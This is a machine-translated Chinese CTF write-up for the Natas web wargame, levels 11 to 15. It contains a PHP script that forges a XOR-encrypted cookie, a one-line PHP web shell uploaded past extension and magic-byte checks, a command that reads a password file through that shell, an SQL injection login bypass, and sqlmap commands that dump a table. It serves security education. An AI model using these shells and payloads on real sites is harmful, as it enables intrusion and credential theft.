Natas网站。 通过CTF平台旨在利用Web漏洞。 第二部分

图片

在本文中,我们将以Natas wargame为例来处理某些WEB身份的操作。 每个级别都可以访问下一个级别的密码。 所有密码也都存储在/ etc / natas_webpass /文件中。 例如,natas5的密码存储在文件/ etc / natas_webpass / natas5中,并且对于用户natas4和natas5是只读的。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

11级


解析代码:

  1. 如果数据数组的键showpassword为“ yes”,则密码可用。

    图片
  2. 数据数组由loadData函数创建,默认数据作为参数传递到该数组中;

    图片

    图片
  3. loadData函数从cookie加载数据值(在base64中编码数据,在未知密钥上加密xor,以json格式解码数据);

    图片

    图片
  4. 设置接收的值。

您需要做什么:

  1. 恢复XOR加密密钥:
    • 从cookie中获取加密数据;
    • 解码base64;
    • 以json格式编码默认数据;
    • Proxor收到时间表。
  2. 使用逆算法对新数据进行编码和加密,其中showpassword == yes ;
  3. 将新数据插入Cookie并重新加载页面。

图片

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

图片

图片

12级


当您将文件保存到站点时,它将以随机名称和JPEG扩展名保存。 但是最重​​要的是,即使在选择文件之前,该名称仍在隐藏形式的隐藏字段中形成并提供给用户,此后将其与文件一起发送到服务器。

图片

任务:创建php-shell,拦截对服务器的请求,然后
将文件名更改为* .php。

 <? echo system($_GET["cmd"]); ?> 

图片

我们使用Burp Suite:将浏览器代理设置设置为127.0.0.1:8080。 发送外壳。 在“代理”选项卡中,我们替换请求。

图片

图片

图片

我们转到服务器上的文件,通过cmd参数将命令传递到命令行。

 cat /etc/natas_webpass/natas13 

图片
此类漏洞被分类为“不受限制的文件上传”。

要创建Shell,最好使用php常量,因为服务器设置可能禁止执行系统功能。

13级


当将相同的外壳保存到服务器时,我们被告知这不是映像。 我们分析代码。

图片

存在exif_imagetype函数。

图片

图片

要检查JPEG文件,此函数使用内部函数is_jpeg,该函数检查文件的前四个字节。

图片

事实是php解释器执行<?之间的代码。 ?>,跳过所有其他字符。 在十六进制编辑器中打开上一级的外壳,并将字节0xFFD8FFE0添加到文件的开头。

图片

类似于上一个级别,发送到站点并获取密码。

图片

14级


授权表单中的常见错误。 数据库查询:

 SELECT * from users where username="username" and password="password"; 

图片

可以始终使请求为true:login =“ admin”或1 = 1-。

图片

在这种情况下,或者1 = 1返回true,其余的请求被注释掉:

 SELECT * from users where username="admin" or 1=1; 

我们拿走密码。

图片
此类漏洞属于SQL Injection类别。

15级


在此表单上,我们分析sqlmap的操作。 发送请求并拦截数据和HTTP标头。

图片

图片

我们仅从标题中选择必要的信息。 在这种情况下:用户代理,引荐来源,授权。 设置sqlmap参数:

  • -u“ URL”
  • --headers =“ HTTP标头,用\ n分隔”
  • --data =“ POST请求数据”
  • --current-db-确定使用哪个数据库
  • --tamper = space2comment-用字符串/ ** /替换空格(在SQL中,这是同一件事)
  • --level =(1-5)-扫描级别
  • -风险=(1-3)-扫描风险

图片

Sqlmap确定username参数容易受到基于布尔的盲注的攻击,并显示了对正确事件的正确数据库响应(在随后的扫描中,您可以立即指定易受攻击的参数和注入类型:-p username和--technique = B)。
B:基于布尔的盲SQL注入
U:UNION查询SQL注入
T:基于时间的盲SQL注入
E:基于错误的SQL注入
S:堆叠查询SQL注入

Sqlmap检测到MySQL DBMS(在随后的扫描中,参数--dbms = MySQL)并询问是否有必要确定mysql的版本(默认为yes)。

图片

Sqlmap报告MySQL> = 5.0.12的版本(选择DBMS实用程序常数是必需的)。

图片

Sqlmap确定了username参数的负载,并询问是否应检查其他参数(默认情况下,否)。 它还显示了负载。

图片

提供有关节点的信息,并根据需要提供当前数据库的信息:natas15。

图片

图片

给定新的已知数据,我们从natas15数据库中找到表:

  • -D“数据库”
  • --tables-定义表

图片

Sqlmap定义了一个用户表。

图片

我们认识到用户表中的列:

  • -T“表”
  • --columns-定义列

图片

Sqlmap定义了2列。

图片

我们转储用户表(选项--dump)。 转储花费了3分钟。 我们在8个线程(-线程8)中执行请求-结果是:1分钟。

图片

我们拿走密码。

待续。 您可以通过Telegram加入我们。

Source: https://habr.com/ru/post/zh-CN464443/


All Articles